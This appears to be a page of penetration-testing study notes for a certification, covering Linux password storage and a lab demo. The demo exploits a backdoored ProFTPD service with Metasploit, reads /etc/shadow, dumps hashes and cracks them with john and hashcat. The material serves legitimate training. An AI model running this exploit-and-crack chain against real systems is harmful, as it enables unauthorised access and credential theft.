> For the complete documentation index, see [llms.txt](https://106-sam.gitbook.io/ejptv2-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://106-sam.gitbook.io/ejptv2-notes/post-exploitation/dumping-and-cracking/dumping-and-cracking-linux-hashes.md).

# Dumping & Cracking Linux Hashes

### Dumping & Cracking Linux Password Hashes

**Linux Password Hashes**

* Linux has multi-user support and as a result, multiple users can access the system simultaneously. This can be seen as both an advantage and disadvantage from a security perspective, in that, multiple accounts offer multiple access vectors for attackers and therefore increase the overall risk of the server.
* All of the information for all accounts on Linux is stored in the password file located in /etc/passwd
* We cannot view the passwords for the users in the passwd file because they are encrypted and the passwd file is readable by any user on the system.
* All the encrypted passwords for the users are stored in the shadow file, it can be found in the following directory /etc/shadow.
* The shadow file can only be accessed and read by the root account, this is a very important security feature as it prevents other accounts on the system from accessing the hashed passwords.
* The shadow file gives us information in regards to the hashing algorithm that is being used and the password hash, this is very helpful as we are able to determine the type of hashing algorithm that is being used and its strength. We can determine this by looking at the number after the username encapsulated by the dollar symbol ($).

<figure><img src="/files/ynsfnPfojaucXg6gviyr" alt=""><figcaption></figcaption></figure>

DEMO

```
nmap -sV <IP>
```

```
searchsploit ProFTPd
```

```
service postgresql start
msfconsole -q
> setg RHOSTS <IP>
> search ProFTPD
> use exploit/unix/ftp/proftpd_133c_backdoor
> show options
> exploit

# /bin/bash -i
# whoami
# cat /etc/shadow

> sessions
> sessions -u 1
> sessions 
> search hashdump
> use post/linux/gather/hashdump
> set SESSION 2
> run 
> exit -y
```

```
john --format=sha512crypt <PATH-of-Hashfile> --wordlist=/usr/share/wordlists/rockyou.txt
```

```
hashcat --help | grep 1800
```

```
hashcat -a3 -m 1800 <PATHofhash> /usr/share/wordlists/rockyou.txt
```